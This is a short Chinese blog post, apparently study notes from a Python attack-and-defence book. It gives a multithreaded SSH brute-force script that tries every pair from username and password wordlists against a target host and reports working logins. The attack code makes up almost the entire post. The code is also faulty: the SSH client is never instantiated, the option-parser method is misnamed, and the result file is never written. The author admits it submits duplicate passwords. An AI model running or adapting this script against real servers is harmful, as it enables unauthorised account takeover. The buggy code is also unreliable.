python安全攻防第七章ssh爆破脚本

it2026-08-15  6

#-*- coding:utf-8 -*- import optparse import sys import os import threading import paramiko #parasmiko为ssh登录模块 class ThreadWork(threading.Thread): def __init__(self,ip,usernameBlock,passwordBlock,port): threading.Thread.__init__(self) self.ip = ip self.port = port self.usernameBlock = usernameBlock self.passworkBlock = passwordBlock def run(self,username,password): ''' 用死循环防止因为error reading ssh protocol banner错误 导致线程没有验证账号密码是否正确就抛弃掉 ''' while True: try: #设置日志文件 paramiko.util.log_to_file('SSHattack.log') ssh = paramiko.SSHClient #接受壁纸本地Konow_host文件下的主机 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #用sys.stdout.write输出信息,解决用print输出错位问题 sys.stdout.write("[*]ssh[{}:{}:{}] => {}\n".format(username,password,self.port,self.ip)) ssh.connect(hostname=self.ip,port=self.port,username=username,password=password,timeout=10) ssh.close() resultFile = open('result','a') print("[+]success!! username: {}, password: {}".format(username,password)) resultFile.close() os._exit(0) except paramiko.ssh_exception.AuthenticationException as e: #failed跳出循环 break except paramiko.ssh_exception.SSHException as e: #捕获error reading ssh prottocol banner错误 #请求过多导致的问题,pass忽略让线程继续请求知道该次请求的账号密码验证。 pass def start(self): #从账号子块和密码子块中提取数据分配给线程进行爆破 for userItem in self.usernameBlock: for pwdItem in self.passworkBlock: self.run(userItem,pwdItem) #列表分块函数 def partition(list,num): # step为每个子列表的长度 step = int(len(list) / num) #若子列表不够是,将step设置为子线程数 if step == 0: step = num partList = [list[i:i+step] for i in range(0,len(list),step)] return partList def SshExploit(ip,usernameFile,passwordFile,threadNumber,sshPort): print("==============爆破信息==========") print("IP" + ip) print("Username" + usernameFile) print("Password" + passwordFile) print("Threads" + str(threadNumber)) print("Port:" + sshPort) print("================================ ") #读取账号文件和密码文件并存入对应列表 listUsername = [line.strip() for line in open(usernameFile)] listPassword = [line.strip() for line in open(passwordFile)] #账号列表和密码列表根据线程数量进行分块 blockUsername = partition(listUsername,threadNumber) blockPassword = partition(listPassword,threadNumber) threads = [] #每个线程分配一个账号密码模块 for sonUserBlock in blockUsername: for sonPassword in blockPassword: work =ThreadWork(ip,sonUserBlock,sonPassword,sshPort) #创建线程 workThread = threading.Thread(target=work.start) #在threads中加入线程 threads.append(workThread) #开始子线程 for t in threads: t.start() for t in threads: t.join() if __name__ == '__main__': parser = optparse.OptionParser('usage:python %prog target[opytions] \n\n' 'example: python %prog 127.0.0.1 -u ./username -p ./passwords -t 20\n') parser.add_options('-i','--ip', dest = 'IP', default ='127.0.0.1',type='string', help='target IP') parser.add_options('-t','--threads',dest = 'threadNum', default=10,type = 'int', help='number of threads') parser.add_options('-u','--username',dest='userName', default = './username',type='string', help='username file') parser.add_options('-p','--password',dest='passWord', default='./password',type='string', help='password file') parser.add_options('-P','--port',dest='port', default = '22', type='string', help='ssh port') (options,args) =parser.parse_args() SshExploit(options.IP,options.userName,options.passWord,options.threadNum,options.port)

测试中,有重复提交的密码模块,这几天再复习一下python多线程然后进行修改

最新回复(0)